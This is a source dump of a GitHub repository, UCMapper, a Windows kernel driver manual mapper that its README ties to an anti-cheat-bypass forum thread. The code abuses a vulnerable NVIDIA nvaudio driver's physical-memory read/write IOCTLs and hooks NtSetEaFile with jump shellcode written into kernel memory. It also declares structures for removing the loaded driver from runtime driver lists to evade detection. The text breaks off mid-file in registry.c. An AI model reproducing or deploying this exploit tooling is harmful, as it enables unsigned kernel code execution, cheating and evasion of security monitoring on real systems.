├── Tidak berjudul.png ├── UCMapper ├── UCMapper.rc ├── hook.h ├── filerw.h ├── resource.h ├── mapper.h ├── registry.h ├── hook.c ├── routine.h ├── driverlist.h ├── Pattern.c ├── driver.h ├── registry.c ├── hde64.h ├── UCMapper.vcxproj.filters ├── UCMapper.vcxproj ├── routine.c ├── halamd64.h ├── main.h ├── main.c ├── filerw.c ├── kernel.c ├── kernel.h ├── driver.c ├── hde64.c ├── driverlist.c └── mapper.c ├── README.md ├── UCDummy ├── UCDummy.vcxproj.filters ├── Driver.c └── UCDummy.vcxproj ├── UCMapper.sln ├── .gitattributes ├── .clang-format └── .gitignore /Tidak berjudul.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MmMapIoSpace/UCMapper/HEAD/Tidak berjudul.png -------------------------------------------------------------------------------- /UCMapper/UCMapper.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MmMapIoSpace/UCMapper/HEAD/UCMapper/UCMapper.rc -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # UCMapper 2 | 3 | Article on UC: 4 | https://www.unknowncheats.me/forum/anti-cheat-bypass/600957-ucmapper-kernel-driver-manual-mapper-update-using-nvaudio.html 5 | -------------------------------------------------------------------------------- /UCMapper/hook.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifdef __cplusplus 4 | extern "C" { 5 | #endif 6 | 7 | NTSTATUS HookSystemRoutine( 8 | _In_ PDEVICE_DRIVER_OBJECT Driver, 9 | _In_ ULONGLONG NewAddress, 10 | _Out_writes_bytes_(12) PUCHAR Native); 11 | NTSTATUS UnhookSystemRoutine(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_reads_bytes_(12) PUCHAR Native); 12 | 13 | #ifdef __cplusplus 14 | } 15 | #endif 16 | -------------------------------------------------------------------------------- /UCMapper/filerw.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | NTSTATUS RtlFileWrite( 4 | _In_ LPCWSTR Destination, 5 | _In_reads_bytes_(BufferLength) PVOID Buffer, 6 | _In_ SIZE_T BufferLength); 7 | NTSTATUS RtlFileMap(_In_ LPCWSTR Source, _Out_ PVOID* BaseAddress, _Out_ PSIZE_T ViewSize); 8 | NTSTATUS RtlFileMapImage(_In_ LPCWSTR Source, _Out_ PVOID* BaseAddress, _Out_ PSIZE_T ViewSize); 9 | NTSTATUS RtlFileUnmap(_In_ PVOID BaseAddress); 10 | NTSTATUS RtlFileDelete(_In_ LPCWSTR FilePath); 11 | NTSTATUS RtlFileToImage(_In_ LPCWSTR Source, _In_ LPCWSTR Destination); 12 | -------------------------------------------------------------------------------- /UCMapper/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by UCMapper.rc 4 | // 5 | #define IDD_DIALOG1 101 6 | #define IDD_DIALOG 101 7 | #define IDC_EDIT 1001 8 | #define IDC_BROWSE 1002 9 | #define IDC_MAP 1003 10 | 11 | // Next default values for new objects 12 | // 13 | #ifdef APSTUDIO_INVOKED 14 | #ifndef APSTUDIO_READONLY_SYMBOLS 15 | #define _APS_NEXT_RESOURCE_VALUE 103 16 | #define _APS_NEXT_COMMAND_VALUE 40001 17 | #define _APS_NEXT_CONTROL_VALUE 1004 18 | #define _APS_NEXT_SYMED_VALUE 101 19 | #endif 20 | #endif 21 | -------------------------------------------------------------------------------- /UCDummy/UCDummy.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Source Files 24 | 25 | 26 | -------------------------------------------------------------------------------- /UCMapper/mapper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _MAPPER_EXECUTOR_CONTEXT 4 | { 5 | SIZE_T ContextSize; 6 | PKSTART_ROUTINE WorkerThread; 7 | NTSTATUS DriverStatus; 8 | PVOID ImageBase; 9 | SIZE_T ImageSize; 10 | PVOID Unloader; 11 | PVOID MemoryDescriptor; 12 | PVOID MapSection; 13 | KERNEL_IMPORT_TABLE ImportTable; 14 | } MAPPER_EXECUTOR_CONTEXT, *PMAPPER_EXECUTOR_CONTEXT; 15 | 16 | NTSTATUS MmLoadSystemImage(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ PVOID ImageBase); 17 | 18 | #ifdef _WIN64 19 | #define DEFAULT_SECURITY_COOKIE 0x00002B992DDFA232 20 | #else 21 | #define DEFAULT_SECURITY_COOKIE 0xBB40E64E 22 | #endif 23 | 24 | #define LDRP_RELOCATION_INCREMENT 0x1 25 | #define LDRP_RELOCATION_FINAL 0x2 26 | 27 | #define IMAGE_REL_BASED_ABSOLUTE 0 28 | #define IMAGE_REL_BASED_HIGH 1 29 | #define IMAGE_REL_BASED_LOW 2 30 | #define IMAGE_REL_BASED_HIGHLOW 3 31 | #define IMAGE_REL_BASED_HIGHADJ 4 32 | #define IMAGE_REL_BASED_MIPS_JMPADDR 5 33 | #define IMAGE_REL_BASED_SECTION 6 34 | #define IMAGE_REL_BASED_REL32 7 35 | #define IMAGE_REL_BASED_MIPS_JMPADDR16 9 36 | #define IMAGE_REL_BASED_IA64_IMM64 9 37 | #define IMAGE_REL_BASED_DIR64 10 38 | -------------------------------------------------------------------------------- /UCMapper/registry.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | NTSTATUS RtlRegSetKeyValue( 4 | _In_ LPCWSTR RegistryPath, 5 | _In_ LPCWSTR Valuename, 6 | _In_ ULONG Type, 7 | _In_reads_bytes_(BufferLength) PVOID Buffer, 8 | _In_ ULONG BufferLength); 9 | NTSTATUS RtlRegGetKeyValue( 10 | _In_ LPCWSTR RegistryPath, 11 | _In_ LPCWSTR Valuename, 12 | _Out_writes_bytes_(BufferLength) PVOID Buffer, 13 | _In_ ULONG BufferLength); 14 | NTSTATUS RtlRegDeleteKey(_In_ LPCWSTR RegistryPath); 15 | 16 | FORCEINLINE NTSTATUS 17 | RtlRegSetKeyValue32(_In_ LPCWSTR RegistryPath, _In_ LPCWSTR Valuename, ULONG Value) 18 | { 19 | return RtlRegSetKeyValue(RegistryPath, Valuename, REG_DWORD, &Value, sizeof(ULONG)); 20 | } 21 | 22 | FORCEINLINE NTSTATUS 23 | RtlRegSetKeyValue64(_In_ LPCWSTR RegistryPath, _In_ LPCWSTR Valuename, ULONGLONG Value) 24 | { 25 | return RtlRegSetKeyValue(RegistryPath, Valuename, REG_QWORD, &Value, sizeof(ULONGLONG)); 26 | } 27 | 28 | FORCEINLINE NTSTATUS 29 | RtlRegSetKeyValueSz(_In_ LPCWSTR RegistryPath, _In_ LPCWSTR Valuename, LPCWSTR Value) 30 | { 31 | UNICODE_STRING UnicodeString; 32 | RtlInitUnicodeString(&UnicodeString, Value); 33 | return RtlRegSetKeyValue( 34 | RegistryPath, 35 | Valuename, 36 | REG_SZ, 37 | UnicodeString.Buffer, 38 | UnicodeString.MaximumLength); 39 | } 40 | -------------------------------------------------------------------------------- /UCMapper.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.8.34004.107 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UCMapper", "UCMapper\UCMapper.vcxproj", "{88FB186E-9662-4DB3-BBB1-E12A23522EA3}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UCDummy", "UCDummy\UCDummy.vcxproj", "{4896E9CA-882E-46C6-9A9F-1F2A1CC439FB}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Release|x64 = Release|x64 13 | EndGlobalSection 14 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 15 | {88FB186E-9662-4DB3-BBB1-E12A23522EA3}.Release|x64.ActiveCfg = Release|x64 16 | {88FB186E-9662-4DB3-BBB1-E12A23522EA3}.Release|x64.Build.0 = Release|x64 17 | {4896E9CA-882E-46C6-9A9F-1F2A1CC439FB}.Release|x64.ActiveCfg = Release|x64 18 | {4896E9CA-882E-46C6-9A9F-1F2A1CC439FB}.Release|x64.Build.0 = Release|x64 19 | {4896E9CA-882E-46C6-9A9F-1F2A1CC439FB}.Release|x64.Deploy.0 = Release|x64 20 | EndGlobalSection 21 | GlobalSection(SolutionProperties) = preSolution 22 | HideSolutionNode = FALSE 23 | EndGlobalSection 24 | GlobalSection(ExtensibilityGlobals) = postSolution 25 | SolutionGuid = {1DBDFB11-75CE-4D10-AB29-6A68581D3208} 26 | EndGlobalSection 27 | EndGlobal 28 | -------------------------------------------------------------------------------- /UCMapper/hook.c: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | NTSTATUS HookSystemRoutine( 4 | _In_ PDEVICE_DRIVER_OBJECT Driver, 5 | _In_ ULONGLONG NewAddress, 6 | _Out_writes_bytes_(12) PUCHAR Native) 7 | { 8 | UCHAR Shellcode[12]; 9 | NTSTATUS Status; 10 | ULONGLONG Address; 11 | WCHAR v1[] = {L'N', L't', L'S', L'e', L't', L'E', L'a', L'F', L'i', L'l', L'e', L'\0'}; 12 | 13 | Address = GetSystemRoutineAddressW(v1); 14 | if (Address == 0) { 15 | Status = STATUS_NOT_FOUND; 16 | DEBUG_PRINT_NTSTATUS(Status); 17 | return Status; 18 | } 19 | 20 | RtlZeroMemory(Shellcode, sizeof(Shellcode)); 21 | Shellcode[0] = 0x48; 22 | Shellcode[1] = 0xB8; 23 | *(ULONGLONG*)&Shellcode[2] = NewAddress; 24 | Shellcode[10] = 0xFF; 25 | Shellcode[11] = 0xE0; 26 | 27 | Status = Driver->ReadMemory(Driver->DeviceHandle, Address, Native, sizeof(Shellcode)); 28 | if NT_SUCCESS (Status) { 29 | Status = Driver->WriteMemory(Driver->DeviceHandle, Address, Shellcode, sizeof(Shellcode)); 30 | } 31 | 32 | return Status; 33 | } 34 | 35 | NTSTATUS UnhookSystemRoutine(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_reads_bytes_(12) PUCHAR Native) 36 | { 37 | ULONGLONG routineAddr; 38 | WCHAR v1[] = {L'N', L't', L'S', L'e', L't', L'E', L'a', L'F', L'i', L'l', L'e', L'\0'}; 39 | 40 | routineAddr = GetSystemRoutineAddressW(v1); 41 | if (routineAddr == 0) 42 | return STATUS_NOT_FOUND; 43 | 44 | return Driver->WriteMemory(Driver->DeviceHandle, routineAddr, Native, 12); 45 | } 46 | -------------------------------------------------------------------------------- /UCDummy/Driver.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | VOID DriverMain(_In_ PDRIVER_OBJECT DriverObject) 4 | { 5 | HANDLE exitThread; 6 | LARGE_INTEGER timeout; 7 | 8 | DbgPrint("[+] System Thread started."); 9 | 10 | timeout.QuadPart = (-( 11 | (((LONGLONG)(2)) 12 | * (((LONGLONG)(1000L)) * (((LONGLONG)(1000L)) * (((LONGLONG)(1000L)) / 100L)))))); 13 | 14 | KeDelayExecutionThread(KernelMode, FALSE, &timeout); 15 | 16 | if NT_SUCCESS (PsCreateSystemThread( 17 | &exitThread, 18 | THREAD_ALL_ACCESS, 19 | NULL, 20 | NULL, 21 | NULL, 22 | DriverObject->DriverUnload, 23 | DriverObject)) 24 | 25 | ZwClose(exitThread); 26 | 27 | DbgPrint("[+] Driver Exit."); 28 | PsTerminateSystemThread(STATUS_SUCCESS); 29 | } 30 | 31 | extern PLIST_ENTRY PsLoadedModuleList; 32 | 33 | NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) 34 | { 35 | HANDLE mainThread; 36 | 37 | UNREFERENCED_PARAMETER(RegistryPath); 38 | UNREFERENCED_PARAMETER(DriverObject); 39 | 40 | DbgPrint("[+] Driver called on 0x%p.", PsGetCurrentProcess()); 41 | DbgPrint("[+] Driver called at %02X.", KeGetCurrentIrql()); 42 | DbgPrint("[+] Driver start at %p.", DriverObject->DriverStart); 43 | DbgPrint("[+] Driver size for %08X.", DriverObject->DriverSize); 44 | DbgPrint("[+] PsLoadedModuleList 0x%p.", PsLoadedModuleList); 45 | 46 | if NT_SUCCESS (PsCreateSystemThread( 47 | &mainThread, 48 | THREAD_ALL_ACCESS, 49 | NULL, 50 | NULL, 51 | NULL, 52 | DriverMain, 53 | DriverObject)) 54 | 55 | return ZwClose(mainThread); 56 | 57 | return STATUS_UNSUCCESSFUL; 58 | } 59 | -------------------------------------------------------------------------------- /UCMapper/routine.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | FORCEINLINE PVOID RtlAllocateMemory(_In_ SIZE_T NumberOfBytes) 4 | { 5 | PVOID Pointer = NULL; 6 | while (Pointer == NULL) 7 | Pointer = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, NumberOfBytes); 8 | return Pointer; 9 | } 10 | 11 | FORCEINLINE PVOID RtlReAllocateMemory(_In_ PVOID Pointer, _In_ SIZE_T NumberOfBytes) 12 | { 13 | return RtlReAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Pointer, NumberOfBytes); 14 | } 15 | 16 | FORCEINLINE BOOLEAN RtlFreeMemory(_In_ PVOID Pointer) 17 | { 18 | return RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Pointer); 19 | } 20 | 21 | NTSTATUS ObGetObjectByHandle(_In_ HANDLE Handle, _Out_ PULONGLONG Pointer); 22 | 23 | NTSTATUS MmGetSystemModuleA( 24 | _In_ LPCSTR ModuleName, 25 | _Out_ PRTL_PROCESS_MODULE_INFORMATION ModuleInformation); 26 | 27 | NTSTATUS MmGetSystemModuleW( 28 | _In_ LPCWSTR ModuleName, 29 | _Out_ PRTL_PROCESS_MODULE_INFORMATION ModuleInformation); 30 | 31 | NTSTATUS MmGetSystemRoutineAddressA(_In_ LPCSTR RoutineName, _Out_ PULONGLONG Pointer); 32 | NTSTATUS MmGetSystemRoutineAddressW(_In_ LPCWSTR ModuleName, _Out_ PULONGLONG Pointer); 33 | 34 | FORCEINLINE ULONGLONG MmGetSystemModuleBaseA(_In_ LPCSTR ModuleName) 35 | { 36 | RTL_PROCESS_MODULE_INFORMATION mi; 37 | 38 | if NT_SUCCESS (MmGetSystemModuleA(ModuleName, &mi)) 39 | return (ULONGLONG)mi.ImageBase; 40 | 41 | return 0; 42 | } 43 | 44 | FORCEINLINE ULONGLONG MmGetSystemModuleBaseW(_In_ LPCWSTR ModuleName) 45 | { 46 | RTL_PROCESS_MODULE_INFORMATION mi; 47 | 48 | if NT_SUCCESS (MmGetSystemModuleW(ModuleName, &mi)) 49 | return (ULONGLONG)mi.ImageBase; 50 | 51 | return 0; 52 | } 53 | 54 | FORCEINLINE ULONGLONG GetSystemRoutineAddressA(_In_ LPCSTR RoutineName) 55 | { 56 | ULONGLONG Pointer; 57 | if NT_SUCCESS (MmGetSystemRoutineAddressA(RoutineName, &Pointer)) 58 | return Pointer; 59 | 60 | return 0; 61 | } 62 | 63 | FORCEINLINE ULONGLONG GetSystemRoutineAddressW(_In_ LPCWSTR RoutineName) 64 | { 65 | ULONGLONG Pointer; 66 | if NT_SUCCESS (MmGetSystemRoutineAddressW(RoutineName, &Pointer)) 67 | return Pointer; 68 | 69 | return 0; 70 | } 71 | -------------------------------------------------------------------------------- /UCDummy/UCDummy.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Release 6 | x64 7 | 8 | 9 | 10 | {4896E9CA-882E-46C6-9A9F-1F2A1CC439FB} 11 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d} 12 | v4.5 13 | 12.0 14 | Debug 15 | x64 16 | UCDummy 17 | 18 | 19 | 20 | Windows10 21 | false 22 | WindowsKernelModeDriver10.0 23 | Driver 24 | WDM 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | DbgengKernelDebugger 36 | 37 | 38 | 39 | sha256 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /UCMapper/driverlist.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef METHOD_DECLARE_STRUCTURE 4 | #define METHOD_DECLARE_STRUCTURE(x) \ 5 | typedef struct _##x x, *P##x; \ 6 | struct _##x 7 | #endif 8 | 9 | #define MM_UNLOADED_DRIVER_SIZE 50 10 | 11 | METHOD_DECLARE_STRUCTURE(DDBCACHE_ENTRY) 12 | { 13 | // 14 | // These fields are used as matching critereon for cache lookup. 15 | // 16 | LIST_ENTRY List; 17 | UNICODE_STRING Name; // Driver name 18 | ULONG TimeDateStamp; // Link date of the driver 19 | // 20 | // Reference data for the cached entry. 21 | // 22 | NTSTATUS Status; // Status from the DDB lookup 23 | GUID Guid; 24 | }; 25 | 26 | METHOD_DECLARE_STRUCTURE(HASH_BUCKET_ENTRY) 27 | { 28 | struct _HASH_BUCKET_ENTRY* Next; 29 | UNICODE_STRING DriverName; 30 | ULONG CertHash[5]; 31 | }; 32 | 33 | METHOD_DECLARE_STRUCTURE(MM_UNLOADED_DRIVER) 34 | { 35 | UNICODE_STRING Name; 36 | PVOID ModuleStart; 37 | PVOID ModuleEnd; 38 | ULONGLONG UnloadTime; 39 | }; 40 | 41 | METHOD_DECLARE_STRUCTURE(MP_RUNTIME_DRIVERS) 42 | { 43 | LIST_ENTRY DriverInfoList; 44 | UNICODE_STRING ImageName; 45 | UNICODE_STRING DriverRegistryPath; 46 | UNICODE_STRING CertPublisher; 47 | UNICODE_STRING CertIssuer; 48 | PVOID ImageHash; 49 | ULONG ImageHashAlgorithm; 50 | ULONG ImageHashLength; 51 | PVOID CertThumbprint; 52 | ULONG ThumbprintHashAlgorithm; 53 | ULONG CertificateThumbprintLength; 54 | PVOID ImageBase; 55 | SIZE_T ImageSize; 56 | ULONG ImageFlags; 57 | ULONG DriverClassification; 58 | ULONG ModuleEntryEnd; 59 | }; 60 | 61 | METHOD_DECLARE_STRUCTURE(MP_DRIVERS_INFO) 62 | { 63 | LONG Status; 64 | LONGLONG Reserved; 65 | ULONG ElamSignaturesMajorVer; 66 | ULONG ElamSignatureMinorVer; 67 | LIST_ENTRY LoadedDriversList; 68 | PSLIST_ENTRY ElamRegistryEntries; 69 | LIST_ENTRY BootProcessList; 70 | PCALLBACK_OBJECT CallbackObject; 71 | PVOID BootDriverCallbackRegistration; 72 | FAST_MUTEX DriversInfoFastMutex; 73 | ULONG TotalDriverEntriesLenght; 74 | PVOID SeRegisterImageVerificationCallback; 75 | PVOID SeUnregisterImageVerificationCallback; 76 | PVOID ImageVerificationCbHandle; 77 | LONG RuntimeDriversCount; 78 | ULONG RuntimeDriversArrayLenght; 79 | PVOID RuntimeDriversArray; 80 | LIST_ENTRY RuntimeDriversList; 81 | LONGLONG field_C8; 82 | }; 83 | 84 | NTSTATUS RemoveDriverRuntimeList(IN PDEVICE_DRIVER_OBJECT Driver, IN LPCWSTR DriverName); 85 | -------------------------------------------------------------------------------- /UCMapper/Pattern.c: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | #define MI_PATTERN_WILDCARD 0xAEUI8 4 | 5 | NTSTATUS MmFindPattern( 6 | _In_reads_bytes_(SizeOfAddress) PVOID BaseAddress, 7 | _In_ SIZE_T SizeOfAddress, 8 | _In_reads_bytes_(PatternLength) PUCHAR Pattern, 9 | _In_ SIZE_T PatternLength, 10 | _Out_ PVOID* Pointer) 11 | { 12 | NTSTATUS Status; 13 | SIZE_T i, j; 14 | 15 | *Pointer = NULL; 16 | Status = STATUS_NOT_FOUND; 17 | if (Pattern != NULL && BaseAddress != NULL) { 18 | for (i = 0; i < SizeOfAddress - PatternLength; i++) { 19 | Status = STATUS_SUCCESS; 20 | for (j = 0; j < PatternLength; j++) { 21 | if (Pattern[j] != MI_PATTERN_WILDCARD 22 | && Pattern[j] != ((PUCHAR)BaseAddress)[i + j]) { 23 | Status = STATUS_INVALID_SIGNATURE; 24 | break; 25 | } 26 | } 27 | 28 | if NT_SUCCESS (Status) { 29 | *Pointer = (PUCHAR)BaseAddress + i; 30 | Status = STATUS_SUCCESS; 31 | break; 32 | } 33 | } 34 | } 35 | 36 | return Status; 37 | } 38 | 39 | NTSTATUS MmFindPattern2( 40 | _In_reads_bytes_(SizeOfAddress) PVOID BaseAddress, 41 | _In_ SIZE_T SizeOfAddress, 42 | _In_ PUCHAR Pattern, 43 | _In_ PCHAR Mask, 44 | _Out_ PVOID* Pointer) 45 | { 46 | ANSI_STRING v1; 47 | BOOLEAN v3; 48 | SIZE_T i; 49 | PUCHAR v4; 50 | SIZE_T j; 51 | NTSTATUS s; 52 | 53 | s = STATUS_NOT_FOUND; 54 | RtlInitString(&v1, Mask); 55 | for (j = 0; j < (SizeOfAddress - v1.Length); j += 1) { 56 | v3 = TRUE; 57 | v4 = (PUCHAR)BaseAddress + j; 58 | 59 | for (i = 0; i < v1.Length; i += 1) { 60 | if (v1.Buffer[i] == 'x' && Pattern[i] != v4[i]) { 61 | v3 = FALSE; 62 | break; 63 | } 64 | } 65 | 66 | if (v3 == TRUE) { 67 | *Pointer = (PVOID)((PCHAR)BaseAddress + j); 68 | s = STATUS_SUCCESS; 69 | break; 70 | } 71 | } 72 | return s; 73 | } 74 | 75 | NTSTATUS MmRelativeVirtualAddress( 76 | _In_ PVOID BaseAddress, 77 | _In_ LONG Offsets, 78 | _In_ SIZE_T Size, 79 | _Out_ PVOID* Pointer) 80 | { 81 | NTSTATUS Status; 82 | LONG RVA; 83 | 84 | RVA = *(PLONG)((ULONGLONG)BaseAddress + Offsets); 85 | Status = RVA != 0 ? STATUS_SUCCESS : STATUS_CONFLICTING_ADDRESSES; 86 | if NT_SUCCESS (Status) 87 | *Pointer = (PVOID)((ULONGLONG)BaseAddress + Size + RVA); 88 | 89 | return Status; 90 | } 91 | -------------------------------------------------------------------------------- /UCMapper/driver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | typedef NTSTATUS (*PFN_READSYSTEMMEMORY)( 5 | _In_ HANDLE DeviceHandle, 6 | _In_ ULONGLONG Source, 7 | _Out_writes_bytes_(Length) PVOID Destination, 8 | _In_ SIZE_T Length); 9 | 10 | 11 | typedef NTSTATUS (*PFN_WRITESYSTEMMEMORY)( 12 | _In_ HANDLE DeviceHandle, 13 | _In_ ULONGLONG Destination, 14 | _In_reads_bytes_(Length) PVOID Source, 15 | _In_ SIZE_T Length); 16 | 17 | typedef struct _DEVICE_DRIVER_OBJECT 18 | { 19 | HANDLE DeviceHandle; 20 | PFN_READSYSTEMMEMORY ReadMemory; 21 | PFN_WRITESYSTEMMEMORY WriteMemory; 22 | } DEVICE_DRIVER_OBJECT, *PDEVICE_DRIVER_OBJECT; 23 | 24 | NTSTATUS LoadDriver(_Out_ PDEVICE_DRIVER_OBJECT DriverObject); 25 | NTSTATUS UnloadDriver(_In_ PDEVICE_DRIVER_OBJECT DriverObject); 26 | 27 | #define NVAUDIO_IOCTL_CODE 0x9C40A484 28 | 29 | typedef enum _NVAUDIO_REQUEST_CLASS 30 | { 31 | READ_CONTROL_REGISTER = 0, 32 | WRITE_CONTROL_REGISTER = 1, 33 | GET_PHYSICAL_ADDRESS = 0x26, 34 | READ_PHYSICAL_MEMORY = 0x14, 35 | WRITE_PHYSICAL_MEMORY = 0x15 36 | } NVAUDIO_REQUEST_CLASS; 37 | 38 | //Request.EncryptionKey[0] = 12868886329971960498; 39 | //Request.EncryptionKey[1] = 13552922889676271240; 40 | //Request.EncryptionKey[2] = 10838534925730813900; 41 | //Request.EncryptionKey[3] = 11819403095038824665; 42 | //Request.EncryptionKey[4] = 16047435637536096; 43 | //Request.EncryptionKey[5] = 10679697536739367056; 44 | //Request.EncryptionKey[6] = 18271467892729589711; 45 | //Request.EncryptionKey[7] = 6472933704646412218; 46 | 47 | #pragma pack(push, 1) 48 | 49 | typedef struct _NVAUDIO_REQUEST 50 | { 51 | NVAUDIO_REQUEST_CLASS RequestClass; 52 | 53 | union 54 | { 55 | struct 56 | { 57 | LONG NumberOfBytes; 58 | LONGLONG Destination; 59 | LONGLONG Source; 60 | UCHAR Padding0[32]; 61 | }; 62 | 63 | struct 64 | { 65 | LONG Reserved0; 66 | LONGLONG PhysicalAddress; 67 | LONGLONG VirtualAddress; 68 | UCHAR Padding1[32]; 69 | }; 70 | 71 | struct 72 | { 73 | LONG CRSize; 74 | LONG NumberOfCR; 75 | LONG Unk01; 76 | LONG Unk02; 77 | LONG Unk03; 78 | LONG Result; 79 | UCHAR Padding2[28]; 80 | }; 81 | }; 82 | 83 | ULONGLONG EncryptionKey[64 / 8]; 84 | UCHAR Reserved[312 - 64 - 56]; 85 | 86 | } NVAUDIO_REQUEST, *PNVAUDIO_REQUEST; 87 | 88 | #pragma pack(pop) 89 | 90 | static_assert(sizeof(NVAUDIO_REQUEST) == 312, "Structure Size Must be 312 Bytes."); 91 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /UCMapper/registry.c: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | NTSTATUS RtlRegSetKeyValue( 4 | _In_ LPCWSTR RegistryPath, 5 | _In_ LPCWSTR Valuename, 6 | _In_ ULONG Type, 7 | _In_reads_bytes_(BufferLength) PVOID Buffer, 8 | _In_ ULONG BufferLength) 9 | { 10 | HANDLE RegistryHandle; 11 | UNICODE_STRING UnicodeString; 12 | NTSTATUS Status; 13 | OBJECT_ATTRIBUTES objectAttributes; 14 | 15 | RtlInitUnicodeString(&UnicodeString, RegistryPath); 16 | InitializeObjectAttributes(&objectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL); 17 | Status = NtOpenKey(&RegistryHandle, KEY_ALL_ACCESS, &objectAttributes); 18 | 19 | if NT_ERROR (Status) { 20 | Status = NtCreateKey( 21 | &RegistryHandle, 22 | KEY_ALL_ACCESS, 23 | &objectAttributes, 24 | 0, 25 | NULL, 26 | REG_OPTION_VOLATILE, 27 | NULL); 28 | } 29 | 30 | if NT_SUCCESS (Status) { 31 | RtlInitUnicodeString(&UnicodeString, Valuename); 32 | Status = NtSetValueKey(RegistryHandle, &UnicodeString, 0, Type, Buffer, BufferLength); 33 | 34 | NtClose(RegistryHandle); 35 | } 36 | 37 | return Status; 38 | } 39 | 40 | NTSTATUS RtlRegGetKeyValue( 41 | _In_ LPCWSTR RegistryPath, 42 | _In_ LPCWSTR Valuename, 43 | _Out_writes_bytes_(BufferLength) PVOID Buffer, 44 | _In_ ULONG BufferLength) 45 | { 46 | UNICODE_STRING UnicodeString; 47 | OBJECT_ATTRIBUTES ObjectAttributes; 48 | NTSTATUS Status; 49 | HANDLE RegistryHandle; 50 | ULONG PartialInformationSize; 51 | PKEY_VALUE_PARTIAL_INFORMATION PartialInformation; 52 | ULONG ResultLength; 53 | 54 | ResultLength = 0; 55 | 56 | RtlInitUnicodeString(&UnicodeString, RegistryPath); 57 | InitializeObjectAttributes( 58 | &ObjectAttributes, 59 | &UnicodeString, 60 | (OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE), 61 | NULL, 